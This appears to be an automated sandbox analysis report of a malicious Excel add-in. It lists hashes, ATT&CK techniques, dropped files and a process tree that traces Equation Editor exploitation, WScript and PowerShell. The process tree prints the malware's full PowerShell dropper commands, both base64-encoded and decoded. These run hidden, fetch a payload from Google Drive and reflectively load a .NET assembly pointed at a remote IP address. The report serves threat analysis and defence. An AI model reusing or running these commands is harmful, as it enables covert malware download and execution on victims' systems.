cea5afd13b92e129cb92104427d1d7915c5ccce1ba85ef314f2db1d6e115b456

General

Target

cea5afd13b92e129cb92104427d1d7915c5ccce1ba85ef314f2db1d6e115b456.xlam
Size

673KB
MD5

132a3570cc09c2e1e315e008004a0d1e
SHA1

3866bceec9cf288999c245fe6949b9d0ce42ca0b
SHA256

cea5afd13b92e129cb92104427d1d7915c5ccce1ba85ef314f2db1d6e115b456
SHA512

fa2a60743b3c4112fbccb1393b5d165520a8f12c7e664e070e70d16f9b0cf0eab586314506d16d9f80140c1f9cf411bcc8067beb6b78111ea23ca11a83e6a0fe
SSDEEP

12288:dZKLu8Y8imd6uYl3In1Ap9/GPpzDBcm86yUsMDbGjNgGcivN3h8f4Js:/KPY8TwDVm1k9/GdBurUNDghvj8P

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1zxD-qVXvvO25GmV9m6xLhdVhXRzA0JEe

exe.dropper

https://drive.google.com/uc?export=download&id=1zxD-qVXvvO25GmV9m6xLhdVhXRzA0JEe

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	1752	EQNEDT32.EXE
6	2732	powershell.exe
8	2732	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2900	powershell.exe
2732	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
5	drive.google.com
6	drive.google.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EQNEDT32.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
1752	EQNEDT32.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2372	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2900	powershell.exe
2732	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2900	powershell.exe
Token: SeDebugPrivilege	2732	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2372	EXCEL.EXE
2372	EXCEL.EXE
2372	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1752 wrote to memory of 2952	1752	EQNEDT32.EXE	32
PID 1752 wrote to memory of 2952	1752	EQNEDT32.EXE	32
PID 1752 wrote to memory of 2952	1752	EQNEDT32.EXE	32
PID 1752 wrote to memory of 2952	1752	EQNEDT32.EXE	32
PID 2952 wrote to memory of 2900	2952	WScript.exe	33
PID 2952 wrote to memory of 2900	2952	WScript.exe	33
PID 2952 wrote to memory of 2900	2952	WScript.exe	33
PID 2952 wrote to memory of 2900	2952	WScript.exe	33
PID 2900 wrote to memory of 2732	2900	powershell.exe	35
PID 2900 wrote to memory of 2732	2900	powershell.exe	35
PID 2900 wrote to memory of 2732	2900	powershell.exe	35
PID 2900 wrote to memory of 2732	2900	powershell.exe	35

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\cea5afd13b92e129cb92104427d1d7915c5ccce1ba85ef314f2db1d6e115b456.xlam
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2372

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:1752
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\jsmightbegreat.js"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2952
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SQBOAHYAbwBLAGUALQBFAFgAUABSAGUAcwBzAEkATwBOACAAKAAgACgAKAAnAE0ARABnAGkAbQBhAGcAZQBVAHIAbAAnACsAJwAgAD0AIABsAFkAdABoAHQAdABwAHMAOgAvAC8AZAByAGkAdgBlAC4AZwBvAG8AZwBsAGUAJwArACcALgBjAG8AbQAvAHUAYwA/AGUAeABwAG8AcgAnACsAJwB0AD0AZABvAHcAbgBsAG8AYQBkACYAaQBkAD0AMQB6AHgARAAtAHEAVgBYAHYAdgBPADIANQBHAG0AVgA5AG0ANgB4AEwAaABkAFYAaABYAFIAegAnACsAJwBBADAASgBFAGUAIABsAFkAdAA7AE0ARABnAHcAZQBiAEMAbAAnACsAJwBpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAJwArACcAIABTAHkAcwB0AGUAbQAuACcAKwAnAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwBNAEQAZwBpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgAE0ARABnAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKABNAEQAZwBpAG0AYQBnAGUAVQByAGwAKQA7AE0ARABnAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAJwArACcAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAE0ARABnAGkAJwArACcAbQBhAGcAZQBCAHkAdABlAHMAKQA7AE0ARABnAHMAdABhAHIAJwArACcAdABGAGwAYQBnACAAPQAgAGwAWQB0ADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AbABZAHQAOwBNAEQAJwArACcAZwBlAG4AZABGAGwAYQBnACAAPQAgAGwAWQB0ADwAPABCAEEAUwBFACcAKwAnADYANABfAEUATgBEAD4APgBsAFkAdAA7AE0ARABnAHMAdABhAHIAdABJAG4AZABlAHgAIAA9ACAATQBEAGcAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgATQBEAGcAcwB0AGEAcgB0AEYAbABhAGcAKQA7AE0ARABnAGUAbgBkAEkAbgBkACcAKwAnAGUAeAAgAD0AIABNAEQAZwBpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKABNAEQAZwBlAG4AZABGAGwAYQBnACkAOwBNAEQAZwBzAHQAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAgACcAKwAnAE0ARABnAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAATQBEAGcAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AE0ARABnAHMAdABhAHIAdABJAG4AZABlAHgAIAArAD0AIABNAEQAZwBzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsATQBEAGcAYgBhAHMAZQA2ADQATABlAG4AZwAnACsAJwB0AGgAIAA9ACAATQBEAGcAZQBuAGQASQBuAGQAZQB4ACAALQAgAE0ARABnACcAKwAnAHMAdABhAHIAdABJAG4AZABlAHgAOwBNAEQAZwBiAGEAcwBlADYANABDAG8AbQAnACsAJwBtAGEAbgBkACAAPQAgAE0ARABnAGkAbQBhAGcAZQAnACsAJwBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKABNAEQAZwBzAHQAYQByAHQASQBuAGQAZQB4ACwAIABNAEQAZwBiAGEAcwBlADYANABMAGUAJwArACcAbgBnAHQAaAApADsATQBEAGcAYgBhACcAKwAnAHMAZQA2ADQAUgBlAHYAZQByAHMAZQBkACAAPQAgAC0AagBvAGkAbgAgACgATQBEAGcAJwArACcAYgBhACcAKwAnAHMAZQA2ADQAJwArACcAQwBvAG0AbQBhAG4AZAAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACcAKwAnACkAIABTAEoAdgAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIABNAEQAZwBfACAAfQApAFsALQAxAC4ALgAtACgATQBEAGcAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAuAEwAZQBuAGcAdABoACkAXQA7AE0ARABnAGMAJwArACcAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuACcAKwAnAGcAKABNAEQAZwBiAGEAcwBlADYANABSAGUAdgBlAHIAcwBlAGQAKQA7AE0ARABnAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgATQBEAGcAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAKQA7AE0ARABnAHYAYQBpAE0AZQB0AGgAbwBkACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AJwArACcAZQBdAC4ARwBlAHQATQBlAHQAaAAnACsAJwBvAGQAKABsAFkAdABWAEEASQBsAFkAdAApADsATQBEAGcAdgAnACsAJwBhAGkATQBlAHQAaABvAGQALgBJAG4AdgBvAGsAZQAoAE0ARABnAG4AdQBsAGwALAAgAEAAKABsAFkAdAAnACsAJwB0AHgAdAAuAGcAZwBnAGkAYgBlAG0AZQBtAGUAZQBlAC8ANwAxADIALgAzADEAMQAuADAAMgAxAC4ANwA4AC8ALwAnACsAJwA6AHAAdAB0AGgAbABZAHQALAAgAGwAWQB0AGQAJwArACcAZQBzAGEAdABpACcAKwAnAHYAYQBkAG8AbABZAHQALAAgAGwAWQB0AGQAZQBzAGEAJwArACcAdABpAHYAYQBkAG8AbABZAHQALAAgAGwAWQB0AGQAZQBzAGEAdABpAHYAYQBkAG8AbABZAHQALAAgAGwAWQB0ACcAKwAnAE0AUwBCAHUAaQBsACcAKwAnAGQAbABZAHQALAAgAGwAWQB0AGQAZQBzAGEAdABpAHYAYQBkAG8AbABZAHQALAAgAGwAWQB0AGQAZQBzAGEAdABpAHYAYQBkAG8AbABZAHQALABsAFkAdABkAGUAcwBhAHQAaQB2AGEAZABvAGwAWQB0ACwAbABZAHQAZABlAHMAYQB0AGkAdgBhAGQAbwBsAFkAdAAsAGwAWQAnACsAJwB0AGQAZQBzAGEAdABpAHYAYQBkAG8AbABZAHQALABsAFkAdABkAGUAcwBhAHQAaQB2AGEAZABvAGwAWQB0ACwAbABZAHQAZABlAHMAYQB0AGkAdgBhAGQAbwBsAFkAdAAsAGwAWQB0ADEAbABZAHQALABsAFkAdABkAGUAcwBhACcAKwAnAHQAaQB2AGEAZABvAGwAWQB0ACkAKQA7ACcAKQAgAC0AQwByAGUAcABsAEEAQwBFACAAJwBNAEQAZwAnACwAWwBjAEgAYQByAF0AMwA2AC0AUgBFAHAATABhAEMARQAgACcAbABZAHQAJwAsAFsAYwBIAGEAcgBdADMAOQAgACAALQBSAEUAcABMAGEAQwBFACgAWwBjAEgAYQByAF0AOAAzACsAWwBjAEgAYQByAF0ANwA0ACsAWwBjAEgAYQByAF0AMQAxADgAKQAsAFsAYwBIAGEAcgBdADEAMgA0ACkAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2900
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "INvoKe-EXPRessION ( (('MDgimageUrl'+' = lYthttps://drive.google'+'.com/uc?expor'+'t=download&id=1zxD-qVXvvO25GmV9m6xLhdVhXRz'+'A0JEe lYt;MDgwebCl'+'ient = New-Object'+' System.'+'Net.WebClient;MDgimageBytes = MDgwebClient.DownloadData(MDgimageUrl);MDgimageText = [System.Text.Enc'+'oding]::UTF8.GetString(MDgi'+'mageBytes);MDgstar'+'tFlag = lYt<<BASE64_START>>lYt;MD'+'gendFlag = lYt<<BASE'+'64_END>>lYt;MDgstartIndex = MDgimageText.IndexOf(MDgstartFlag);MDgendInd'+'ex = MDgimageText.IndexOf(MDgendFlag);MDgstartIndex -ge 0 -and '+'MDgendIndex -gt MDgstartIndex;MDgstartIndex += MDgstartFlag.Length;MDgbase64Leng'+'th = MDgendIndex - MDg'+'startIndex;MDgbase64Com'+'mand = MDgimage'+'Text.Substring(MDgstartIndex, MDgbase64Le'+'ngth);MDgba'+'se64Reversed = -join (MDg'+'ba'+'se64'+'Command.ToCharArray('+') SJv ForEach-Object { MDg_ })[-1..-(MDgbase64Command.Length)];MDgc'+'ommandBytes = [System.Convert]::FromBase64Strin'+'g(MDgbase64Reversed);MDgloadedAssembly = [System.Reflection.Assembly]::Load(MDgcommandBytes);MDgvaiMethod = [dnlib.IO.Hom'+'e].GetMeth'+'od(lYtVAIlYt);MDgv'+'aiMethod.Invoke(MDgnull, @(lYt'+'txt.gggibememeee/712.311.021.78//'+':ptthlYt, lYtd'+'esati'+'vadolYt, lYtdesa'+'tivadolYt, lYtdesativadolYt, lYt'+'MSBuil'+'dlYt, lYtdesativadolYt, lYtdesativadolYt,lYtdesativadolYt,lYtdesativadolYt,lY'+'tdesativadolYt,lYtdesativadolYt,lYtdesativadolYt,lYt1lYt,lYtdesa'+'tivadolYt));') -CreplACE 'MDg',[cHar]36-REpLaCE 'lYt',[cHar]39 -REpLaCE([cHar]83+[cHar]74+[cHar]118),[cHar]124))"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Exploitation for Client Execution

1

T1203

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
2512dbc7403bda8870f157d53dd80759

SHA1
671a0b79c96c0fe9189ed0892bd63b69bb50e775

SHA256
2dca98140fc8119a9720740653cecce3796a996a6de254965c3362f6dc9b4c6c

SHA512
62d63419c9b7cf148991da2406d2b980db2f3b7d5f2af8c9cd3194ebf0f6bb3120a0a51529458ac5e683aeaa7151ca1e056185b6c951f1c892cc41de4806a279

Download Submit
C:\Users\Admin\AppData\Roaming\jsmightbegreat.js

Filesize
134KB

MD5
b3366fa7bcac873475b28f94d0bcc124

SHA1
cf34acfc400c0137296e99ecd87bac744b88777f

SHA256
1c2a877e92f19759b8b24d022f5f9d13a8c96eb8d7dacd48b7710e55a3f28747

SHA512
e1bc868aaba2d06f84d5467af69b18b56721955a4ec0a0fb07aa11485f37d61024ea8e3bbebf1a3c180b491d32434ca19d5b323e08f29027c790821fce3531f6

Download Submit
memory/2372-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2372-1-0x000000007208D000-0x0000000072098000-memory.dmp

Filesize
44KB

Download
memory/2372-16-0x000000007208D000-0x0000000072098000-memory.dmp

Filesize
44KB

Download

Analysis

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